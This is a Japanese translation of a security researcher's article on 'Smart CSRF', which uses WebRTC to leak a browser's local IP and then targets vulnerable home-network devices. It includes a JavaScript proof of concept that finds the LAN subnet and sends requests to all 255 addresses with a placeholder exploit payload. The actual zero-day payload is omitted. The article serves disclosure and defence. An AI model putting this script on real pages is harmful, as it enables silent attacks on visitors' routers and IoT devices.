ベンダーがクロスサイトリクエストフォージェリ (CSRF) に関わる攻撃リスクを過小評価していることを頻繁に目にします。
通常、ユーザインタラクションに関する脆弱性の対処は完全に遠隔、又は権限のない悪意に晒されたものほど重大ではありませんが、単純にCSRFなどに関して忘れてもよいということではありません。
私のCVE業務をざっと見返してみると、2014年に権限のないCSRF経由で攻撃され、システムレベルのアクセスを取得する悪意につながる脆弱性を少なくとも6つ報告しています。 (言い換えると、それによる被害は、攻撃の成功のために、いずれのサービスにも認証される必要がありませんでした)。
この件はきわめて重要な問題ですが、攻撃者がターゲットのローカルLAN上のIPアドレスを予知できないため、ベンダーが通常の状態で、その攻撃の可能性を信じ難いと評価するのは明らかです。
JavaScriptが一般的に使われたLANアドレスを通して繰り返し処理するのに使用される可能性があることは事実であり、RFC1918において個人利用のためにあてがわれる1,800万近くのIPv4アドレスの全てをスキャニングするのに相当の時間がかかることも事実です。これが理由で私は通常、LANセグメントに一般的ではないレンジを選択するようアドバイスしています。
このあいまいなセキュリティ対策は、しかしながら、ローカルLAN IPを暴く機能のあるクライアントサイドの技術に直面した場合、十分ではありません。悪意のあるウェブサイトが、クライアントが特定のIPにあることを知れば、現実的な時間内でLAN上の脆弱なデバイスを発見する可能性が非常に高くなるのです。
私がこれについて共に議論した多くのウェブ開発者とエクスプロイト作成者は、JavaScriptからLAN IPを知る手段はないということを強調していました。このため、InfoSec Europe 2015とDEF CON 23で、私が「Smart CSRF」と呼んでいる技術を使用して、Vera Control VeraLite「SmartHomeHub」中でゼロデイ特権のコマンドインジェクション・フローの実演をすることに決めました。
私の気付いた通り、現在の最新ブラウザの一部は、STUNリクエスト用にWebRTCを使用する機能を有しています。それを実行するコードサンプルがこちらGitHubで入手可能です。
このコードは容易に修正することができ、クライアントをa/24上に想定し、HTTPリクエストをそのレンジ内のそれぞれのアドレスに送信することができます。私が実演したゼロデイは、事前の認証が不要なため、デバイスはその都度1秒以内に確実に危険な状態になります。
私にとりさらに興味深いのは、STUNサーバーに到達するための外部のインターネット接続がない状況であっても、Chromeを使用してこれを実行できたことです。(実際のエクスプロイトペイロードを除く) 私が使用したスクリプトは、ここでSmart CSRFの例として入手できます。
<script>
// Linkback: https://www.tripwire.com/state-of-security/off-topic/smart-csrf/
// This code is derived from a PoC I came across on GitHub: https://github.com/diafygi/webrtc-ips/blob/master/README.md
// I have only slightly modified it to assume the IP is on a /24 and iterate over the addresses with an HTTP request.
// A version of this script including the payload for a 0-day in a home automation product was demonstrated at:
// DEF CON 23 IoT Village and InfoSec Europe 2015 Intelligent Defence in a talk titled 'Smart Home Invasion'
// Interestingly enough, this code worked in Chrome even without an Internet connection to reach the STUN server.
// -- Craig Young, Security Researcher Tripwire VERT
//get the IP addresses associated with an account
function getIPs(callback){
var ip_dups = {};
//compatibility for firefox and chrome
var RTCPeerConnection = window.RTCPeerConnection
|| window.mozRTCPeerConnection
|| window.webkitRTCPeerConnection;
var useWebKit = !!window.webkitRTCPeerConnection;
//bypass naive webrtc blocking using an iframe
if(!RTCPeerConnection){
//NOTE: you need to have an iframe in the page right above the script tag
//
//<iframe id="iframe" sandbox="allow-same-origin" style="display: none"></iframe>
//<script>...getIPs called in here...
//
var win = iframe.contentWindow;
RTCPeerConnection = win.RTCPeerConnection
|| win.mozRTCPeerConnection
|| win.webkitRTCPeerConnection;
useWebKit = !!win.webkitRTCPeerConnection;
}
//minimal requirements for data connection
var mediaConstraints = {
optional: [{RtpDataChannels: true}]
};
//firefox already has a default stun server in about:config
// media.peerconnection.default_iceservers =
// [{"url": "stun:stun.services.mozilla.com"}]
var servers = undefined;
//add same stun server for chrome
if(useWebKit)
servers = {iceServers: [{urls: "stun:stun.services.mozilla.com"}]};
//construct a new RTCPeerConnection
var pc = new RTCPeerConnection(servers, mediaConstraints);
function handleCandidate(candidate){
//match just the IP address
var ip_regex = /([0-9]{1,3}(\.[0-9]{1,3}){3})/
var ip_addr = ip_regex.exec(candidate)[1];
//remove duplicates
if(ip_dups[ip_addr] === undefined)
callback(ip_addr);
ip_dups[ip_addr] = true;
}
//listen for candidate events
pc.onicecandidate = function(ice){
//skip non-candidate events
if(ice.candidate)
handleCandidate(ice.candidate.candidate);
};
//create a bogus data channel
pc.createDataChannel("");
//create an offer sdp
pc.createOffer(function(result){
//trigger the stun server request
pc.setLocalDescription(result, function(){}, function(){});
}, function(){});
//wait for a while to let everything done
setTimeout(function(){
//read candidate info from local description
var lines = pc.localDescription.sdp.split('\n');
lines.forEach(function(line){
if(line.indexOf('a=candidate:') === 0)
handleCandidate(line);
});
}, 1000);
}
getIPs(
function(ip){
var local_regex = /10\.[0-9]+\.[0-9]+\.|192\.168\.[0-9]+\.|172\.16\./
if (local_regex.exec(ip) != null) {
var subnet = local_regex.exec(ip)[0];
for (node=1; node<256; node++) {
var url = 'http://' + subnet + node + exploit_URI_payload;
var oReq = new XMLHttpRequest();
oReq.open("get",url,true)
oReq.send();
}
}
}
);
</HTML>
</script>
<H1>o0o0o0o0o0o0</H1>
Title image courtesy of ShutterStock
元の記事はこちらからご覧いただけます。